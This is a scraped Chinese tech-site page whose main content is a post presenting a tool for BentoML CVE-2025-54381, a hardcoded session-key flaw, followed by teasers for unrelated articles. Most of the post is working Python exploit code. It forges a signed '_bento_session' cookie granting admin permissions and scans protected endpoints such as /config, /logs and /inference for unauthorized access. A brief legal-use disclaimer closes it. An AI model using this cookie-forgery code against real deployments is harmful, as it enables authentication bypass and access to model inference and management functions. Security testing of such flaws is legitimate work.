news 2026/2/12 9:00:45

BentoML会话Cookie漏洞（CVE-2025-54381）分析工具

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
BentoML会话Cookie漏洞（CVE-2025-54381）分析工具

BentoML会话Cookie漏洞（CVE-2025-54381）分析工具

项目描述

本工具用于分析和复现BentoML框架中的关键安全漏洞（CVE-2025-54381）。该漏洞存在于BentoML版本0.15.0及更早版本中，由于使用硬编码的会话cookie密钥（_bento_session），攻击者可以生成有效的会话令牌，从而绕过身份验证机制直接访问受保护的API端点。这个漏洞特别危险，因为它允许未经授权的用户访问机器学习模型推理、管理接口等敏感功能。

功能特性

  • 漏洞检测：自动检测目标BentoML实例是否存在CVE-2025-54381漏洞
  • 会话伪造：利用硬编码密钥生成有效的会话cookie
  • API端点扫描：识别可访问的受保护API端点
  • POC生成：提供完整的漏洞验证代码
  • 批量检测：支持对多个目标进行批量漏洞扫描
  • 报告生成：自动生成详细的安全评估报告

安装指南

环境要求

  • Python 3.7或更高版本
  • 网络访问权限
  • 基本的Python环境

安装步骤

  1. 克隆项目代码到本地：

    gitclone https://github.com/username/bentoml_CVE-2025-54381.gitcdbentoml_CVE-2025-54381

  2. 安装必要的依赖：

    pipinstall-r requirements.txt

  3. 确保Python环境已正确配置，可以直接运行脚本：

    python exploit_bentoml.py

使用说明

基础使用示例

以下是使用该工具检测BentoML漏洞的基本示例：

# 导入必要的模块importrequestsimporthashlibimportjsonimportbase64# 设置目标URL和硬编码密钥URL="http://127.0.0.1:5000"SECRET_KEY=b"please_change_this"# 生成会话cookie的函数defgenerate_session_cookie(data):# 对数据进行序列化和编码data_json=json.dumps(data,separators=(',',':'))data_encoded=base64.b64encode(data_json.encode('utf-8')).decode('utf-8')# 计算HMAC签名importhmac signature=hmac.new(SECRET_KEY,data_encoded.encode('utf-8'),hashlib.sha256).hexdigest()# 返回完整的会话cookiereturnf"{data_encoded}.{signature}"# 检查API可访问性defcheck_access(session_cookie):headers={'Cookie':f'_bento_session={session_cookie}'}# 尝试访问需要认证的端点endpoints=["/metrics",# 监控指标"/healthz",# 健康检查"/apis",# API列表"/config",# 配置信息"/logs"# 日志文件]accessible_endpoints=[]forendpointinendpoints:try:response=requests.get(f"{URL}{endpoint}",headers=headers,timeout=5)ifresponse.status_code==200:accessible_endpoints.append(endpoint)print(f"✓ 成功访问:{endpoint}")print(f" 响应内容:{response.text[:200]}...")else:print(f"✗ 无法访问:{endpoint}(状态码:{response.status_code})")exceptExceptionase:print(f"✗ 访问错误:{endpoint}-{str(e)}")returnaccessible_endpoints# 主函数defmain():print("开始检测BentoML CVE-2025-54381漏洞...")print(f"目标URL:{URL}")# 生成会话数据session_data={"user_id":"attacker","expires":"2099-12-31T23:59:59Z","permissions":["admin","inference","monitoring"]}# 生成会话cookiesession_cookie=generate_session_cookie(session_data)print(f"生成的会话Cookie:{session_cookie[:50]}...")# 检查API访问print("\n尝试访问受保护的API端点:")accessible=check_access(session_cookie)# 输出结果ifaccessible:print(f"\n⚠️ 漏洞确认！成功访问了{len(accessible)}个受保护的端点")print("受影响的端点:")forendpointinaccessible:print(f" -{endpoint}")else:print("\n✅ 目标可能已修复此漏洞或使用了不同的配置")if__name__=="__main__":main()

典型使用场景

  1. 安全审计：渗透测试人员可以使用此工具检查BentoML部署的安全性
  2. 漏洞验证：安全团队验证CVE-2025-54381漏洞的存在和影响
  3. 教育研究：学习Web安全中的会话管理漏洞
  4. 红队演练：在授权范围内进行安全攻击模拟

核心代码

1. 会话Cookie生成器

defgenerate_bentoml_session():""" 生成BentoML的有效会话cookie 利用硬编码的密钥生成可以绕过认证的会话令牌 """importhmacimporthashlibimportjsonimportbase64fromdatetimeimportdatetime,timedelta# 硬编码的密钥（BentoML 0.15.0及更早版本的默认值）SECRET_KEY=b"please_change_this"# 构造会话数据session_data={"user_id":"anonymous","created":datetime.utcnow().isoformat()+"Z","expires":(datetime.utcnow()+timedelta(days=365)).isoformat()+"Z","csrf_token":"exploit_token","permissions":["read","write","admin","inference","metrics"],"authed":True,"session_id":"exploit_session_"+hashlib.md5(b"exploit").hexdigest()[:16]}# 序列化和编码数据data_json=json.dumps(session_data,separators=(',',':'))data_encoded=base64.b64encode(data_json.encode('utf-8')).decode('utf-8')# 计算HMAC-SHA256签名signature=hmac.new(SECRET_KEY,data_encoded.encode('utf-8'),hashlib.sha256).hexdigest()# 构建完整的会话cookiesession_cookie=f"_bento_session={data_encoded}.{signature}"returnsession_cookie,session_data

2. API端点检测器

classBentomlVulnerabilityScanner:""" BentoML漏洞扫描器类 用于检测和验证CVE-2025-54381漏洞 """def__init__(self,target_url):""" 初始化扫描器 :param target_url: 目标BentoML实例的URL """self.target_url=target_url.rstrip('/')self.vulnerable=Falseself.accessible_endpoints=[]self.session_cookie=Nonedeftest_vulnerability(self):""" 测试目标是否存在CVE-2025-54381漏洞 :return: 布尔值表示是否易受攻击 """try:# 首先生成一个有效的会话cookiesession_cookie,_=generate_bentoml_session()self.session_cookie=session_cookie# 定义需要测试的端点test_endpoints=[("/metrics","GET"),# 监控指标("/healthz","GET"),# 健康检查("/apis","GET"),# API列表("/docs","GET"),# API文档("/config","GET"),# 配置信息("/logs","GET"),# 日志访问("/inference","POST"),# 推理接口（可能需要POST）]headers={'Cookie':session_cookie,'User-Agent':'BentoML-CVE-Scanner/1.0','Accept':'application/json'}# 测试每个端点forendpoint,methodintest_endpoints:try:ifmethod=="GET":response=requests.get(f"{self.target_url}{endpoint}",headers=headers,timeout=10,verify=False# 对于自签名证书)else:# 对于POST请求，发送空的JSON数据response=requests.post(f"{self.target_url}{endpoint}",headers=headers,json={},timeout=10,verify=False)# 检查响应ifresponse.status_code==200:self.accessible_endpoints.append({'endpoint':endpoint,'method':method,'status':response.status_code,'length':len(response.content)})self.vulnerable=Trueexceptrequests.exceptions.RequestExceptionase:continuereturnself.vulnerableexceptExceptionase:print(f"测试过程中发生错误:{str(e)}")returnFalsedefgenerate_report(self):""" 生成漏洞报告 :return: 格式化的报告字符串 """report=[]report.append("="*60)report.append("BentoML CVE-2025-54381 漏洞扫描报告")report.append("="*60)report.append(f"目标URL:{self.target_url}")report.append(f"扫描时间:{datetime.now().isoformat()}")report.append(f"漏洞状态:{'易受攻击'ifself.vulnerableelse'安全'}")ifself.vulnerable:report.append(f"\n发现的易受攻击端点 ({len(self.accessible_endpoints)}个):")forendpoint_infoinself.accessible_endpoints:report.append(f"{endpoint_info['method']}{endpoint_info['endpoint']}"f"(状态:{endpoint_info['status']}, "f"大小:{endpoint_info['length']}字节)")report.append("\n⚠️ 安全建议:")report.append(" 1. 立即升级到BentoML 0.15.1或更高版本")report.append(" 2. 更改默认的会话密钥配置")report.append(" 3. 添加额外的认证层")report.append(" 4. 限制API端点的网络访问")return"\n".join(report)

3. 漏洞验证脚本

#!/usr/bin/env python3""" BentoML CVE-2025-54381 漏洞验证脚本 用于验证目标是否受到此漏洞影响 """importsysimportargparsefromscannerimportBentomlVulnerabilityScannerdefmain():parser=argparse.ArgumentParser(description='BentoML CVE-2025-54381 漏洞验证工具',formatter_class=argparse.RawDescriptionHelpFormatter)parser.add_argument('target',help='目标BentoML实例的URL（例如：http://localhost:5000）')parser.add_argument('-o','--output',help='将报告保存到指定文件',default=None)args=parser.parse_args()print(f"[*] 开始扫描目标:{args.target}")print(f"[*] 检测CVE-2025-54381漏洞...")# 创建扫描器实例scanner=BentomlVulnerabilityScanner(args.target)# 执行漏洞测试is_vulnerable=scanner.test_vulnerability()# 生成报告report=scanner.generate_report()# 输出报告print("\n"+report)ifargs.output:withopen(args.output,'w')asf:f.write(report)print(f"[*] 报告已保存到:{args.output}")# 根据漏洞状态退出sys.exit(0ifnotis_vulnerableelse1)if__name__=="__main__":main()

这些核心代码展示了如何利用CVE-2025-54381漏洞的原理，包括会话cookie的生成、API端点的检测以及漏洞验证的完整流程。请注意，这些代码仅用于合法的安全测试和教育目的。
6HFtX5dABrKlqXeO5PUv/1qtNjcyD7/e/i8AHyzhu2SK79T7e/QSTfQdQb5Bjq/7
更多精彩内容 请关注我的个人公众号 公众号（办公AI智能小助手）
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号（网络安全技术点滴分享）

版权声明: 本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若内容造成侵权/违法违规/事实不符，请联系邮箱：809451989@qq.com进行投诉反馈，一经查实，立即删除！
网站建设 2026/2/11 0:25:39

Hunyuan-Vision与TurboDiffusion对比：工业级视频生成部署案例

Hunyuan-Vision与TurboDiffusion对比：工业级视频生成部署案例 1. 引言：当创意遇上速度，视频生成进入工业级时代 你有没有想过，一段原本需要几分钟才能生成的AI视频，现在只需要几秒钟？这不是科幻&#xff…

作者头像 李华
网站建设 2026/2/10 18:10:27

Qwen3-Embedding-0.6B快速部署：Docker镜像一键拉起教程

Qwen3-Embedding-0.6B快速部署：Docker镜像一键拉起教程 你是不是也遇到过这样的问题：想用一个高效的文本嵌入模型，但部署过程太复杂，环境依赖一堆搞不定？今天这篇文章就是为你准备的。我们来手把手教你如何通过 Docke…

作者头像 李华
网站建设 2026/2/10 12:04:32

fft npainting lama降本部署案例：低成本GPU优化实战

fft npainting lama降本部署案例：低成本GPU优化实战 1. 引言：图像修复也能轻量化落地 你有没有遇到过这样的问题：想把照片里的水印、路人或者瑕疵去掉，但PS太费时间，专业工具又不会用？现在有个更聪明的办…

作者头像 李华
网站建设 2026/2/11 9:39:50

语音识别结果导出：SenseVoiceSmall JSON格式生成实战

语音识别结果导出：SenseVoiceSmall JSON格式生成实战 1. 引言：为什么需要结构化语音识别输出？ 你有没有遇到过这种情况：用语音识别工具转写了一段会议录音，结果只得到一长串文字，根本分不清谁在什么时候说…

作者头像 李华
网站建设 2026/2/7 11:06:36

于STM32单片机无线WIFI插座智能家居APP视频监控设计套件11X(设计源文件+万字报告+讲解)（支持资料、图片参考_相关定制）_文章底部可以扫码

基于STM32单片机无线WIFI插座智能家居APP视频监控设计套件11X(设计源文件万字报告讲解)（支持资料、图片参考_相关定制）_文章底部可以扫码 STM32单片机WIFI控制继电器开关插座011X产品功能描述： 本系统由STM32F103C8T6单片机核心板、四路继电器…

作者头像 李华